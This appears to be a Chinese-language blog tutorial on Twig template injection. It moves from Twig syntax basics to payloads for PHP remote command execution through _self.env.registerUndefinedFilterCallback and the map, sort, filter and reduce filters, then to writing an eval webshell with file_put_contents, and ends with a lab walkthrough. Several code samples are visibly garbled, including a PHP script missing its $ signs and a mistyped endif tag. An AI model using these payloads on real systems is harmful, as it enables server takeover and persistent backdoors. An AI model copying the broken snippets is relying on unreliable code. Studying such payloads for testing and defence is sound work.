模板注入之TWIG

模板注入之TWIG

简介

Twig可能是PHP最流行的模板库,它是由Synfony(一个非常流行的PHP框架)的创建者开发的。在我们的练习中,我们还将用到Craft CMS,它是一个内部使用Twig的内容管理系统。

环境安装

注:安装环境PHP版本至少7.0

直接使用composer命令安装指定版本

1
composer require "twig/twig:^2.0"

基础语法

  • :说些什么.值的是输出一个变量值或者一个表达式的结果到模板。如:。

变量绑定:

1
2
3
Hello  {{ var }}

Hello {{ var|escape }}
1
2
twig也包含filters,它可以在模板渲染之前改变输出内容。如:{{表达式 | filters}}。
注:这里还需要注意的是,当表达式中传值的时候,使用『:』,例如:{{ path(‘board_reply’,{id:item.id}) }}
  • :做些什么.控制模板逻辑的tag(标签),用于执行声明,如if、for循环语句等。

  • :进行注释.它相当于php的语法。它用于注释单行和多行。注释的内容不作为页面输出。

block

相当于占位符,当被另一个模板继承时,可以调用这个模块。定义时的内容在继承的模板中默认是不会出现的,可以使用 {undefined{ parent() }} 来显示。块名称可以使用字母数字字符和下划线,不允许使用破折号(-)

extends

不支持多重继承,只支持一个扩展模板

1
2
3
4
5
6
{% extends 'base.html.twig' %}
{% include %}:包含模板
{% extends %}:扩展模板
{% embed %} xxx {% endembed %}:包含模板并扩展该模板的内容,相当于 include 和 extends 的结合体
{% macro %} xxx {% endmacro %}:定义宏以便多次调用,与定义 PHP 函数无异
{% from aaa import bbb as ccc %}:从指定模板导入宏并设置别名

注意事项

  • 如果在模板中使用extends,它必须是模板中的第一个标签
  • 如果在多个模板中有重复的内容,这可能意味着你需要为该内容在父模板中定义一个block
  • 某些情况下,更好的解决方案可能是把这些内容放到一个新模板中,然后在该模板中include它。
  • 如果你需要从父模板中获取一个block的内容,可以使用函数。如果你只是想在父级块上添加新内容,而不是完全覆盖它
  • 记住添加end符号

判断

判断变量是否定义(存在)

1
2
3
{% if a is defined %}
{% a.name %}
{% endif %}

判断变量是否为空

1
2
3
{% if a is null %}
{# do something #}
{% endif %}

多条件判断语法

1
2
3
4
5
{% if a %}
{{ a.name }}
{% else %}
<h1>xxxxxxx</h1>
{% endid %}

循环

1
2
3
{% for a in list %}
<li>{{a.name}}</li>
{% endfor %}

按数组的key,value遍历,key=index,value=item

1
2
3
{% for index, item in list %}
{{ index }}:{{ item.id }}
{% endfor %}

按数组的key值遍历

1
2
3
{% for key in list|keys %}
{{ key }}
{% endfor %}

注入攻击

twig存在1.x,2.x,3.x的多个版本,不同版本的payload也有所不同。对于Twig来说,其变量_self暴露了Twig内部的许多API。

Twig 1.x

getFilter函数中存在危险函数call_user_func

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function getFilter(name)
{
...
foreach (this->filterCallbacks as callback) {
if (false !==filter = call_user_func(callback,name)) {
return filter;
}
}
return false;
}

public function registerUndefinedFilterCallback(callable)
{
this->filterCallbacks[] =callable;
}

通过传递参数到该函数中,我们可以调用任意 PHP 函数。Payload 如下:

1
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

Twig 2.x&&3.x

测试代码

1
2
3
4
5
6
7
<?php
require_once __DIR__.'/vendor/autoload.php';

loader = new \Twig\Loader\ArrayLoader();twig = new \Twig\Environment(loader);template = twig->createTemplate("Hello {_GET['name']}!");

echo $template->render();
?>

命令执行成功,计算器打开

使用map过滤器

1
2
3
{{["calc"]|map("system")}}
{{["calc"]|map("passthru")}}
{{["calc"]|map("exec")}}

如果以上几个函数被禁用,我们还可以调用file_put_contents函数写一句话木马,生成webshell。

1
{{{"<?php phpinfo();eval($_POST[whoami])":"/var/www/html/shell.php"}|map("file_put_contents")}}

使用sort过滤器

1
2
3
{{["calc", 0]|sort("system")}}
{{["calc", 0]|sort("passthru")}}
{{["calc", 0]|sort("exec")}}

使用filter过滤器

1
2
3
{{["calc"]|filter("system")}}
{{["calc"]|filter("passthru")}}
{{["calc"]|filter("exec")}}

使用reduce过滤器

1
2
3
{{[0, 0]|reduce("system", "calc")}}
{{[0, 0]|reduce("passthru", "calc")}}
{{[0, 0]|reduce("exec", "calc")}}

靶场练习

靶场地址:http://template-injection.gosec.co:8012/.

在这个表单中,您可以提交一个简单的表达式来确认模板是否用于显示值。下面的表达式将进行减法运算。

1
{{1338-1}}

上面减法运算的结果,应该显示为1337

下面输入payload执行id命令

1
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

执行结果应该是:

参考文章

twig模板注入payload ~ M1saka’s blog

详解模板注入漏洞(上) (qq.com)

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2024 John Doe
  • 访问人数: | 浏览次数:

让我给大家分享喜悦吧!

微信